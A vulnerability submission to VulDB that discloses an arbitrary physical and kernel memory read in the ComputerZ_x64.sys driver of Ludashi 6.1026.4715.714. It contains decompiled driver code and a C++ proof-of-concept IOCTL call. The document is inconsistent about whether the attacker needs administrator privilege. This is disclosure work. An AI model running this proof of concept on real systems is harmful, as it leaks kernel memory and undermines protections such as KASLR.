Submeter #895249: Chengdu Qilu Technology Ludashi 6.1026.4715.714 Exposure of Sensitive Information Due to Incompatible Policies

1. Vendor Information
Vendor Name: Chengdu Qilu Technology Co., Ltd. (成都奇鲁科技有限公司)
Vendor Website: https://www.ludashi.com/

2. Product Information
Product Name: Ludashi (鲁大师)
Affected Version: 6.1026.4715.714
Affected Platform: Windows (x64)
Download Link: https://www.ludashi.com/

3. Vulnerability Details
Vulnerability Type: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor / CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Impact: Arbitrary Kernel Memory Read / Information Disclosure
Attack Vector: Local
Privileges Required: Administrator Privilege

4. Component & Technical Analysis
Affected Component: ComputerZ_x64.sys (Kernel Driver)
Affected Routine: sub_11008 (Dispatched via DeviceIoControl)

Description:
An arbitrary kernel memory read vulnerability exists in ComputerZ_x64.sys. The driver exposes a functionality via DeviceIoControl handled by routine sub_11008. When processing user-supplied input, the driver accepts a physical address provided directly by a user-mode application without performing proper validation or sanitization.

The driver subsequently maps this unvalidated address into kernel space and copies the memory contents back to the user-mode buffer. A local, unprivileged attacker can exploit this flaw to read arbitrary physical or kernel memory, leading to the disclosure of sensitive system information, kernel pointers, or cryptographic keys, which can be leveraged to bypass security mitigations such as KASLR.

5. Analysis Details
The vulnerable code is at .text:000000000001116C:
```c++
// ....
if ( IoControlCode != 0xF1002508 )
goto LABEL_280;
if ( InputBufferLength < 0xC )
goto LABEL_327;
v15 = SystemBuffer[1];
if ( OutputBufferLength < (unsigned int)v15 )
{
LABEL_25:
v4 = 0xC0000206;
goto LABEL_53;
}
PhysicalAddress.QuadPart = *SystemBuffer; // Physical address passed in not properly validated
v16 = MmMapIoSpace(PhysicalAddress, v15, MmNonCached);
if ( v16 )
{
v17 = SystemBuffer;
v18 = v16;
for ( i = v15 >> 2; i; --i )
*v17++ = *v18++; // Copy kernel data to user space
MmUnmapIoSpace(v16, v15);
v4 = 0;
}
// ....
```

6. Suggested Description for the CVE Entry
Chengdu Qilu Technology Co., Ltd. Ludashi version 6.1026.4715.714 allows local attackers to achieve an arbitrary kernel memory read via the ComputerZ_x64.sys driver. The vulnerability exists within the DeviceIoControl dispatch routine sub_11008, where the driver fails to validate a user-supplied physical address before mapping it and copying data back to user space. This can lead to information disclosure and a complete bypass of kernel security protections.

7. Proof Of Concept(POC)
The flaw can be easily reproduced as the following code:
```c++
DWORD bytesReturned{ 0 };

constexpr ULONG IOCTL_READ_KERNEL_MEMORY = 0xF1002508;

struct READ_MEMORY_PACKET {
union
{
struct {
ULONG PhysicalAddress;
ULONG Size;
};

UCHAR Buffer[1];
};
};

HANDLE hDevice = CreateFileW(L"\\\\.\\ComputerZ", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

std::unique_ptr<READ_MEMORY_PACKET> packet{ (READ_MEMORY_PACKET*)::operator new(1024) };

packet->PhysicalAddress = 0x30a3000;
packet->Size = 1024;

auto success = DeviceIoControl(
hDevice,
IOCTL_READ_KERNEL_MEMORY,
packet.get(),
1024,
packet.get(),
1024,
&bytesReturned,
NULL);
```

8.CREDIT
Discoverer/Researcher: Jacky([email protected])

• Utilizador: Bigcat (UID 99687)
• Submissão: 19/07/2026 02h19 (há 2 meses)
• Moderação: 12/09/2026 10h46 (2 months later)
• Estado: Aceite
• Entrada VulDB: 403091 [Chengdu Qilu Technology Ludashi 6.1026.4715.714 ComputerZ_x64.sys sub_11008 PhysicalAddress Divulgação de Informação]
• Pontos: 17